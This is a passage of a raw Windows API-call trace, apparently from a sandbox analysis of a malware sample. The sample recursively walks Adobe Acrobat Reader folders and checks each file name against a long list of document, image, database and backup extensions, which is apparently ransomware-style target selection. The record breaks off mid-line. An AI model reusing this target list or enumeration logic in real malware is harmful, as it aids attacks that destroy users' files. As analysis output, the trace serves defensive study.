lpString2="i.js") returned -1 [0198.368] lstrlenW (lpString=".dt") returned 3 [0198.368] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0198.368] lstrlenW (lpString=".dtd") returned 4 [0198.368] lstrcmpiW (lpString1=".dtd", lpString2="i.js") returned -1 [0198.368] lstrlenW (lpString=".dwg") returned 4 [0198.368] lstrcmpiW (lpString1=".dwg", lpString2="i.js") returned -1 [0198.368] lstrlenW (lpString=".dwt") returned 4 [0198.368] lstrcmpiW (lpString1=".dwt", lpString2="i.js") returned -1 [0198.368] lstrlenW (lpString=".dx") returned 3 [0198.369] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0198.369] lstrlenW (lpString=".dxf") returned 4 [0198.369] lstrcmpiW (lpString1=".dxf", lpString2="i.js") returned -1 [0198.369] lstrlenW (lpString=".edml") returned 5 [0198.369] lstrcmpiW (lpString1=".edml", lpString2="pi.js") returned -1 [0198.369] lstrlenW (lpString=".efd") returned 4 [0198.369] lstrcmpiW (lpString1=".efd", lpString2="i.js") returned -1 [0198.369] lstrlenW (lpString=".elf") returned 4 [0198.369] lstrcmpiW (lpString1=".elf", lpString2="i.js") returned -1 [0198.369] lstrlenW (lpString=".emf") returned 4 [0198.369] lstrcmpiW (lpString1=".emf", lpString2="i.js") returned -1 [0198.369] lstrlenW (lpString=".emz") returned 4 [0198.369] lstrcmpiW (lpString1=".emz", lpString2="i.js") returned -1 [0198.369] lstrlenW (lpString=".epf") returned 4 [0198.369] lstrcmpiW (lpString1=".epf", lpString2="i.js") returned -1 [0198.369] lstrlenW (lpString=".eps") returned 4 [0198.369] lstrcmpiW (lpString1=".eps", lpString2="i.js") returned -1 [0198.369] lstrlenW (lpString=".epsf") returned 5 [0198.369] lstrcmpiW (lpString1=".epsf", lpString2="pi.js") returned -1 [0198.369] lstrlenW (lpString=".epsp") returned 5 [0198.369] lstrcmpiW (lpString1=".epsp", lpString2="pi.js") returned -1 [0198.369] lstrlenW (lpString=".erf") returned 4 [0198.369] lstrcmpiW (lpString1=".erf", lpString2="i.js") returned -1 [0198.369] lstrlenW (lpString=".exr") returned 4 [0198.370] lstrcmpiW (lpString1=".exr", lpString2="i.js") returned -1 [0198.370] lstrlenW (lpString=".f4v") returned 4 [0198.370] lstrcmpiW (lpString1=".f4v", lpString2="i.js") returned -1 [0198.370] lstrlenW (lpString=".fido") returned 5 [0198.370] lstrcmpiW (lpString1=".fido", lpString2="pi.js") returned -1 [0198.370] lstrlenW (lpString=".flm") returned 4 [0198.370] lstrcmpiW (lpString1=".flm", lpString2="i.js") returned -1 [0198.370] lstrlenW (lpString=".flv") returned 4 [0198.370] lstrcmpiW (lpString1=".flv", lpString2="i.js") returned -1 [0198.370] lstrlenW (lpString=".frm") returned 4 [0198.370] lstrcmpiW (lpString1=".frm", lpString2="i.js") returned -1 [0198.370] lstrlenW (lpString=".fxg") returned 4 [0198.370] lstrcmpiW (lpString1=".fxg", lpString2="i.js") returned -1 [0198.370] lstrlenW (lpString=".geo") returned 4 [0198.370] lstrcmpiW (lpString1=".geo", lpString2="i.js") returned -1 [0198.370] lstrlenW (lpString=".gif") returned 4 [0198.370] lstrcmpiW (lpString1=".gif", lpString2="i.js") returned -1 [0198.370] lstrlenW (lpString=".grs") returned 4 [0198.370] lstrcmpiW (lpString1=".grs", lpString2="i.js") returned -1 [0198.370] lstrlenW (lpString=".gz") returned 3 [0198.370] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0198.370] lstrlenW (lpString=".h") returned 2 [0198.370] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0198.371] lstrlenW (lpString=".hdr") returned 4 [0198.371] lstrcmpiW (lpString1=".hdr", lpString2="i.js") returned -1 [0198.371] lstrlenW (lpString=".hpp") returned 4 [0198.371] lstrcmpiW (lpString1=".hpp", lpString2="i.js") returned -1 [0198.371] lstrlenW (lpString=".hta") returned 4 [0198.371] lstrcmpiW (lpString1=".hta", lpString2="i.js") returned -1 [0198.371] lstrlenW (lpString=".htc") returned 4 [0198.371] lstrcmpiW (lpString1=".htc", lpString2="i.js") returned -1 [0198.371] lstrlenW (lpString=".htm") returned 4 [0198.371] lstrcmpiW (lpString1=".htm", lpString2="i.js") returned -1 [0198.371] lstrlenW (lpString=".html") returned 5 [0198.371] lstrcmpiW (lpString1=".html", lpString2="pi.js") returned -1 [0198.371] lstrlenW (lpString=".icb") returned 4 [0198.371] lstrcmpiW (lpString1=".icb", lpString2="i.js") returned -1 [0198.371] lstrlenW (lpString=".ics") returned 4 [0198.371] lstrcmpiW (lpString1=".ics", lpString2="i.js") returned -1 [0198.371] lstrlenW (lpString=".iff") returned 4 [0198.371] lstrcmpiW (lpString1=".iff", lpString2="i.js") returned -1 [0198.371] lstrlenW (lpString=".inc") returned 4 [0198.371] lstrcmpiW (lpString1=".inc", lpString2="i.js") returned -1 [0198.371] lstrlenW (lpString=".indd") returned 5 [0198.371] lstrcmpiW (lpString1=".indd", lpString2="pi.js") returned -1 [0198.371] lstrlenW (lpString=".ini") returned 4 [0198.371] lstrcmpiW (lpString1=".ini", lpString2="i.js") returned -1 [0198.372] lstrlenW (lpString=".iqy") returned 4 [0198.372] lstrcmpiW (lpString1=".iqy", lpString2="i.js") returned -1 [0198.372] lstrlenW (lpString=".j2c") returned 4 [0198.372] lstrcmpiW (lpString1=".j2c", lpString2="i.js") returned -1 [0198.372] lstrlenW (lpString=".j2k") returned 4 [0198.372] lstrcmpiW (lpString1=".j2k", lpString2="i.js") returned -1 [0198.372] lstrlenW (lpString=".java") returned 5 [0198.372] lstrcmpiW (lpString1=".java", lpString2="pi.js") returned -1 [0198.372] lstrlenW (lpString=".jp2") returned 4 [0198.372] lstrcmpiW (lpString1=".jp2", lpString2="i.js") returned -1 [0198.372] lstrlenW (lpString=".jpc") returned 4 [0198.372] lstrcmpiW (lpString1=".jpc", lpString2="i.js") returned -1 [0198.372] lstrlenW (lpString=".jpe") returned 4 [0198.372] lstrcmpiW (lpString1=".jpe", lpString2="i.js") returned -1 [0198.372] lstrlenW (lpString=".jpeg") returned 5 [0198.372] lstrcmpiW (lpString1=".jpeg", lpString2="pi.js") returned -1 [0198.372] lstrlenW (lpString=".jpf") returned 4 [0198.372] lstrcmpiW (lpString1=".jpf", lpString2="i.js") returned -1 [0198.372] lstrlenW (lpString=".jpg") returned 4 [0198.706] lstrcmpiW (lpString1=".jpg", lpString2="i.js") returned -1 [0198.707] lstrlenW (lpString=".jpx") returned 4 [0198.707] lstrcmpiW (lpString1=".jpx", lpString2="i.js") returned -1 [0198.707] lstrlenW (lpString=".js") returned 3 [0198.707] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0198.707] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x100e, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api.js", cAlternateFileName="")) returned 0 [0198.707] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0198.707] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0198.707] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0198.707] FindClose (in: hFindFile=0x44205a0 | out: hFindFile=0x44205a0) returned 1 [0198.707] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0198.707] FindNextFileW (in: hFindFile=0x44200a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="config.js", cAlternateFileName="")) returned 1 [0198.707] lstrlenW (lpString="config.js") returned 9 [0198.708] lstrlenW (lpString=".1cd") returned 4 [0198.708] lstrcmpiW (lpString1=".1cd", lpString2="g.js") returned -1 [0198.708] lstrlenW (lpString=".3ds") returned 4 [0198.708] lstrcmpiW (lpString1=".3ds", lpString2="g.js") returned -1 [0198.708] lstrlenW (lpString=".3fr") returned 4 [0198.708] lstrcmpiW (lpString1=".3fr", lpString2="g.js") returned -1 [0198.708] lstrlenW (lpString=".3g2") returned 4 [0198.708] lstrcmpiW (lpString1=".3g2", lpString2="g.js") returned -1 [0198.708] lstrlenW (lpString=".3gp") returned 4 [0198.708] lstrcmpiW (lpString1=".3gp", lpString2="g.js") returned -1 [0198.708] lstrlenW (lpString=".7z") returned 3 [0198.708] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0198.708] lstrlenW (lpString=".accda") returned 6 [0198.708] lstrcmpiW (lpString1=".accda", lpString2="fig.js") returned -1 [0198.708] lstrlenW (lpString=".accdb") returned 6 [0198.708] lstrcmpiW (lpString1=".accdb", lpString2="fig.js") returned -1 [0198.708] lstrlenW (lpString=".accdc") returned 6 [0198.708] lstrcmpiW (lpString1=".accdc", lpString2="fig.js") returned -1 [0198.708] lstrlenW (lpString=".accde") returned 6 [0198.708] lstrcmpiW (lpString1=".accde", lpString2="fig.js") returned -1 [0198.708] lstrlenW (lpString=".accdt") returned 6 [0198.708] lstrcmpiW (lpString1=".accdt", lpString2="fig.js") returned -1 [0198.708] lstrlenW (lpString=".accdw") returned 6 [0198.708] lstrcmpiW (lpString1=".accdw", lpString2="fig.js") returned -1 [0198.708] lstrlenW (lpString=".adb") returned 4 [0198.708] lstrcmpiW (lpString1=".adb", lpString2="g.js") returned -1 [0198.708] lstrlenW (lpString=".adp") returned 4 [0198.709] lstrcmpiW (lpString1=".adp", lpString2="g.js") returned -1 [0198.709] lstrlenW (lpString=".ai") returned 3 [0198.709] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0198.709] lstrlenW (lpString=".ai3") returned 4 [0198.709] lstrcmpiW (lpString1=".ai3", lpString2="g.js") returned -1 [0198.709] lstrlenW (lpString=".ai4") returned 4 [0198.709] lstrcmpiW (lpString1=".ai4", lpString2="g.js") returned -1 [0198.709] lstrlenW (lpString=".ai5") returned 4 [0198.709] lstrcmpiW (lpString1=".ai5", lpString2="g.js") returned -1 [0198.709] lstrlenW (lpString=".ai6") returned 4 [0198.709] lstrcmpiW (lpString1=".ai6", lpString2="g.js") returned -1 [0198.709] lstrlenW (lpString=".ai7") returned 4 [0198.709] lstrcmpiW (lpString1=".ai7", lpString2="g.js") returned -1 [0198.709] lstrlenW (lpString=".ai8") returned 4 [0198.709] lstrcmpiW (lpString1=".ai8", lpString2="g.js") returned -1 [0198.709] lstrlenW (lpString=".anim") returned 5 [0198.709] lstrcmpiW (lpString1=".anim", lpString2="ig.js") returned -1 [0198.709] lstrlenW (lpString=".arw") returned 4 [0198.709] lstrcmpiW (lpString1=".arw", lpString2="g.js") returned -1 [0198.709] lstrlenW (lpString=".as") returned 3 [0198.709] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0198.709] lstrlenW (lpString=".asa") returned 4 [0198.709] lstrcmpiW (lpString1=".asa", lpString2="g.js") returned -1 [0198.709] lstrlenW (lpString=".asc") returned 4 [0198.709] lstrcmpiW (lpString1=".asc", lpString2="g.js") returned -1 [0198.709] lstrlenW (lpString=".ascx") returned 5 [0198.709] lstrcmpiW (lpString1=".ascx", lpString2="ig.js") returned -1 [0198.709] lstrlenW (lpString=".asm") returned 4 [0198.709] lstrcmpiW (lpString1=".asm", lpString2="g.js") returned -1 [0198.709] lstrlenW (lpString=".asmx") returned 5 [0198.709] lstrcmpiW (lpString1=".asmx", lpString2="ig.js") returned -1 [0198.710] lstrlenW (lpString=".asp") returned 4 [0198.710] lstrcmpiW (lpString1=".asp", lpString2="g.js") returned -1 [0198.710] lstrlenW (lpString=".aspx") returned 5 [0198.710] lstrcmpiW (lpString1=".aspx", lpString2="ig.js") returned -1 [0198.710] lstrlenW (lpString=".asr") returned 4 [0198.710] lstrcmpiW (lpString1=".asr", lpString2="g.js") returned -1 [0198.710] lstrlenW (lpString=".asx") returned 4 [0198.710] lstrcmpiW (lpString1=".asx", lpString2="g.js") returned -1 [0198.710] lstrlenW (lpString=".avi") returned 4 [0198.710] lstrcmpiW (lpString1=".avi", lpString2="g.js") returned -1 [0198.710] lstrlenW (lpString=".avs") returned 4 [0198.710] lstrcmpiW (lpString1=".avs", lpString2="g.js") returned -1 [0198.710] lstrlenW (lpString=".backup") returned 7 [0198.710] lstrcmpiW (lpString1=".backup", lpString2="nfig.js") returned -1 [0198.710] lstrlenW (lpString=".bak") returned 4 [0198.710] lstrcmpiW (lpString1=".bak", lpString2="g.js") returned -1 [0198.710] lstrlenW (lpString=".bay") returned 4 [0198.710] lstrcmpiW (lpString1=".bay", lpString2="g.js") returned -1 [0198.710] lstrlenW (lpString=".bd") returned 3 [0198.710] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0198.710] lstrlenW (lpString=".bin") returned 4 [0198.710] lstrcmpiW (lpString1=".bin", lpString2="g.js") returned -1 [0198.710] lstrlenW (lpString=".bmp") returned 4 [0198.710] lstrcmpiW (lpString1=".bmp", lpString2="g.js") returned -1 [0198.710] lstrlenW (lpString=".bz2") returned 4 [0198.710] lstrcmpiW (lpString1=".bz2", lpString2="g.js") returned -1 [0198.710] lstrlenW (lpString=".c") returned 2 [0198.710] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0198.710] lstrlenW (lpString=".cdr") returned 4 [0198.710] lstrcmpiW (lpString1=".cdr", lpString2="g.js") returned -1 [0198.711] lstrlenW (lpString=".cer") returned 4 [0198.711] lstrcmpiW (lpString1=".cer", lpString2="g.js") returned -1 [0198.711] lstrlenW (lpString=".cf") returned 3 [0198.711] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0198.711] lstrlenW (lpString=".cfc") returned 4 [0198.711] lstrcmpiW (lpString1=".cfc", lpString2="g.js") returned -1 [0198.711] lstrlenW (lpString=".cfm") returned 4 [0198.711] lstrcmpiW (lpString1=".cfm", lpString2="g.js") returned -1 [0198.711] lstrlenW (lpString=".cfml") returned 5 [0198.711] lstrcmpiW (lpString1=".cfml", lpString2="ig.js") returned -1 [0198.711] lstrlenW (lpString=".cfu") returned 4 [0198.711] lstrcmpiW (lpString1=".cfu", lpString2="g.js") returned -1 [0198.711] lstrlenW (lpString=".chm") returned 4 [0198.711] lstrcmpiW (lpString1=".chm", lpString2="g.js") returned -1 [0198.711] lstrlenW (lpString=".cin") returned 4 [0198.711] lstrcmpiW (lpString1=".cin", lpString2="g.js") returned -1 [0198.711] lstrlenW (lpString=".class") returned 6 [0198.711] lstrcmpiW (lpString1=".class", lpString2="fig.js") returned -1 [0198.711] lstrlenW (lpString=".clx") returned 4 [0198.711] lstrcmpiW (lpString1=".clx", lpString2="g.js") returned -1 [0198.711] lstrlenW (lpString=".config") returned 7 [0198.711] lstrcmpiW (lpString1=".config", lpString2="nfig.js") returned -1 [0198.711] lstrlenW (lpString=".cpp") returned 4 [0198.711] lstrcmpiW (lpString1=".cpp", lpString2="g.js") returned -1 [0198.711] lstrlenW (lpString=".cr2") returned 4 [0198.711] lstrcmpiW (lpString1=".cr2", lpString2="g.js") returned -1 [0198.711] lstrlenW (lpString=".crt") returned 4 [0198.711] lstrcmpiW (lpString1=".crt", lpString2="g.js") returned -1 [0198.711] lstrlenW (lpString=".crw") returned 4 [0198.711] lstrcmpiW (lpString1=".crw", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".cs") returned 3 [0198.712] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0198.712] lstrlenW (lpString=".css") returned 4 [0198.712] lstrcmpiW (lpString1=".css", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".csv") returned 4 [0198.712] lstrcmpiW (lpString1=".csv", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".cub") returned 4 [0198.712] lstrcmpiW (lpString1=".cub", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".dae") returned 4 [0198.712] lstrcmpiW (lpString1=".dae", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".dat") returned 4 [0198.712] lstrcmpiW (lpString1=".dat", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".db") returned 3 [0198.712] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0198.712] lstrlenW (lpString=".dbf") returned 4 [0198.712] lstrcmpiW (lpString1=".dbf", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".dbx") returned 4 [0198.712] lstrcmpiW (lpString1=".dbx", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".dc3") returned 4 [0198.712] lstrcmpiW (lpString1=".dc3", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".dcm") returned 4 [0198.712] lstrcmpiW (lpString1=".dcm", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".dcr") returned 4 [0198.712] lstrcmpiW (lpString1=".dcr", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".der") returned 4 [0198.712] lstrcmpiW (lpString1=".der", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".dib") returned 4 [0198.712] lstrcmpiW (lpString1=".dib", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".dic") returned 4 [0198.712] lstrcmpiW (lpString1=".dic", lpString2="g.js") returned -1 [0198.712] lstrlenW (lpString=".dif") returned 4 [0198.713] lstrcmpiW (lpString1=".dif", lpString2="g.js") returned -1 [0198.713] lstrlenW (lpString=".divx") returned 5 [0198.713] lstrcmpiW (lpString1=".divx", lpString2="ig.js") returned -1 [0198.713] lstrlenW (lpString=".djvu") returned 5 [0198.720] lstrcmpiW (lpString1=".djvu", lpString2="ig.js") returned -1 [0198.720] lstrlenW (lpString=".dng") returned 4 [0198.720] lstrcmpiW (lpString1=".dng", lpString2="g.js") returned -1 [0198.720] lstrlenW (lpString=".doc") returned 4 [0198.720] lstrcmpiW (lpString1=".doc", lpString2="g.js") returned -1 [0198.720] lstrlenW (lpString=".docm") returned 5 [0198.720] lstrcmpiW (lpString1=".docm", lpString2="ig.js") returned -1 [0198.720] lstrlenW (lpString=".docx") returned 5 [0198.720] lstrcmpiW (lpString1=".docx", lpString2="ig.js") returned -1 [0198.720] lstrlenW (lpString=".dot") returned 4 [0198.720] lstrcmpiW (lpString1=".dot", lpString2="g.js") returned -1 [0198.720] lstrlenW (lpString=".dotm") returned 5 [0198.720] lstrcmpiW (lpString1=".dotm", lpString2="ig.js") returned -1 [0198.720] lstrlenW (lpString=".dotx") returned 5 [0198.720] lstrcmpiW (lpString1=".dotx", lpString2="ig.js") returned -1 [0198.720] lstrlenW (lpString=".dpx") returned 4 [0198.720] lstrcmpiW (lpString1=".dpx", lpString2="g.js") returned -1 [0198.720] lstrlenW (lpString=".dqy") returned 4 [0198.720] lstrcmpiW (lpString1=".dqy", lpString2="g.js") returned -1 [0198.720] lstrlenW (lpString=".dsn") returned 4 [0198.720] lstrcmpiW (lpString1=".dsn", lpString2="g.js") returned -1 [0198.720] lstrlenW (lpString=".dt") returned 3 [0198.720] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0198.720] lstrlenW (lpString=".dtd") returned 4 [0198.720] lstrcmpiW (lpString1=".dtd", lpString2="g.js") returned -1 [0198.720] lstrlenW (lpString=".dwg") returned 4 [0198.720] lstrcmpiW (lpString1=".dwg", lpString2="g.js") returned -1 [0198.720] lstrlenW (lpString=".dwt") returned 4 [0198.721] lstrcmpiW (lpString1=".dwt", lpString2="g.js") returned -1 [0198.721] lstrlenW (lpString=".dx") returned 3 [0198.721] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0198.721] lstrlenW (lpString=".dxf") returned 4 [0198.721] lstrcmpiW (lpString1=".dxf", lpString2="g.js") returned -1 [0198.721] lstrlenW (lpString=".edml") returned 5 [0198.721] lstrcmpiW (lpString1=".edml", lpString2="ig.js") returned -1 [0198.721] lstrlenW (lpString=".efd") returned 4 [0198.721] lstrcmpiW (lpString1=".efd", lpString2="g.js") returned -1 [0198.721] lstrlenW (lpString=".elf") returned 4 [0198.721] lstrcmpiW (lpString1=".elf", lpString2="g.js") returned -1 [0198.721] lstrlenW (lpString=".emf") returned 4 [0198.721] lstrcmpiW (lpString1=".emf", lpString2="g.js") returned -1 [0198.721] lstrlenW (lpString=".emz") returned 4 [0198.721] lstrcmpiW (lpString1=".emz", lpString2="g.js") returned -1 [0198.721] lstrlenW (lpString=".epf") returned 4 [0198.721] lstrcmpiW (lpString1=".epf", lpString2="g.js") returned -1 [0198.721] lstrlenW (lpString=".eps") returned 4 [0198.721] lstrcmpiW (lpString1=".eps", lpString2="g.js") returned -1 [0198.721] lstrlenW (lpString=".epsf") returned 5 [0198.721] lstrcmpiW (lpString1=".epsf", lpString2="ig.js") returned -1 [0198.721] lstrlenW (lpString=".epsp") returned 5 [0198.721] lstrcmpiW (lpString1=".epsp", lpString2="ig.js") returned -1 [0198.721] FindNextFileW (in: hFindFile=0x44200a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1 [0198.722] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\*", lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x44205a0 [0198.722] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0198.722] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1 [0198.723] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\*", lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44205e0 [0198.723] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.723] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0198.723] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\*", lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x44207e0 [0198.723] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0198.723] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0198.724] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420820 [0198.724] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, 